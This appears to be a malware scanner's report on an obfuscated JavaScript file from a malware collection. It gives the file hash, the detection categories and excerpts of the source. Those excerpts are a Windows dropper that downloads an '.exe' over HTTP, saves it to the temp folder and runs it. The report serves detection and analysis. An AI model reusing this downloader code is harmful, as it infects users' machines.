Suspicious ^80% javascript-malware-collection Download

20160328_9f715526c890a78de1a13e6631f2d2b4.js

Obfuscated payload execution

retry loop wrapping try-catch (for loop)eval() executing transformed code

SHA-256909d715cda001dca76ffa7d59462d761270f8be5b12b356ff303938d1b06e795

Evidence

Dense concatenated string fragments line 1

1eval(cacheURL("flag%20%3D%20%28%22XML%22%29%3B%20notify%20%3D%20%282%29%3B%20unbind%20%3D%20%28%22ADODB.%22%29%3B%20fn%20%3D%20%28%22_bF.ex%22%29%3B%20oldCache%20%3D%20%28%22Sl%22%29%3B%20initial%20%3D%20%28%22eObjec%22%29%3Bvar%20inspect%20%3D%20%28%22erXM%22%29%2C%20lang%20%3D%20%28%22E%22%29%2C%20unquoted%20%3D%20%28%22Msxml%22%29%2C%20newContext%20%3D%20%28%22p%22%29%2C%20doAnimation%20%3D%20%28%22Msxm%22%29%3Bvar%20selector%20%3D%20%28%22le%22%29%3BxhrSuccessStatus%20%3D%20%28%22Envi%22%29%2C%20elems%20%3D%20%28%22ml2.XM%22%29%3Bfilter%20%3D%20%28925%29%2C%20risSimple%20%3D%20%28%22ype%22%29%3Bdi …

Invokes zero-argument function at module scope lines 3–8

3:40… ata, fail, configurable);
4adjusted(checkContext, pointerenter);
5unit();
6etag(selector, newContext, submit, funcName, fireGlobals);
7camelCase["m" + combinator + "e"] = (1 + (notify));
8camelCase[preFil …

JavaScript silently discards caught errors lines 8–40

8:84… 37));
9rootjQuery(elemLang, addHandle);
10
11function assert() {
12				for (animated = (conditionFn / 24); animated < matcherFromTokens[selector + "ngth"]; animated++) {
13								try {
14												defineProperty = setTimeout[events + "pt"][dataAttr + "Obj" + when](matcherFromTokens[animated]);
15												getAttribute(ajaxConvert, pdataCur);
16												defineProperty[hasCompare + "n" + cssText]();
17												break;
18								} catch (then) {}
19				}
20				while (defineProperty["read" + sourceIndex + "te"] != ((notify) * (2 | notify))) rbuggyMatches[events + "pt"][oldCache + "e" + scrollTo](((1619 * notify + 1062) / (fnOver - 72)));
21				if (defineProperty["st" + disableScript + "s"] == ((qsaError | 257) - (rfocusMorph * 2 + fail))) {
22								camelCase[xml + "pe" + first]();
23								types(doAnimation, xml);
24								rnotwhite[dir + "ript"][oldCache + "ee" + newContext](((Math.pow(89027, notify) - 7925656729) / (compare, 227, click)));
25								camelCase["SaveTo" + dataType](readyState, ((1 * access) + (38 - checkContext)));
26								prop();
27								ajaxPrefilter["R" + ajaxConvert + "n"](readyState);
28				} else {}
29}
30
31function rootjQuery() {
32				elemData(cacheURL("assert%28%22http%3A/%22%20+%20parent%20+%20%22-det%22%20+%20jqXHR%20+%20%22a57%22%20+%20getElementsByName%20+%20%22.exe%22%29%3B"));
33}
34
35function cacheURL(handle) {
36				return unescape(handle);
37}
38
39function adjusted(factory) {
40				elemData(cacheURL("readyState%20%3D%20ajaxPrefilter%5B%22Expand%22%20+%20xhrSuccessStatus%20+%20%22ron%22%20+%20ajaxHandleResponses%20+%20%22trin%22%20+%20hasData%5D%28%22%25TE%22%20+%20rdisplayswap%29%20+%20%22capt% …

Obfuscated computed call cluster lines 55–64

55:11… etFilters(clazz, addToPrefiltersOrTransports, documentIsHTML) {
56				elemData(cacheURL("ajaxPrefilter%20%3D%20trigger%5B%22WScrip%22%20+%20preFilter%5D%5B%22Creat%22%20+%20initial%20+%20%22t%22%5D%28events%20+%20%22pt.She%22%20+%20elemLang%29%3B"));
57}
58
59function types(resolve, rheaders) {
60				elemData(cacheURL("camelCase%5B%22W%22%20+%20multipleContexts%20+%20%22t%22%20+%20funcName%5D%28defineProperty%5B%22res%22%20+%20xhrFields%20+%20%22seBody%22%5D%29%3B"));
61}
62
63function getAttribute(jsonpCallback) {
64				elemData(cacheURL("defineProperty%5B%22o%22%20+%20newContext%20+%20%22e%22%20+%20first%5D%28%22G%22%20+%20lang%20+%20%22T%22%2C%20configurable%20+%20%22p%3A/%22%20+%20parent%20+%20%2 …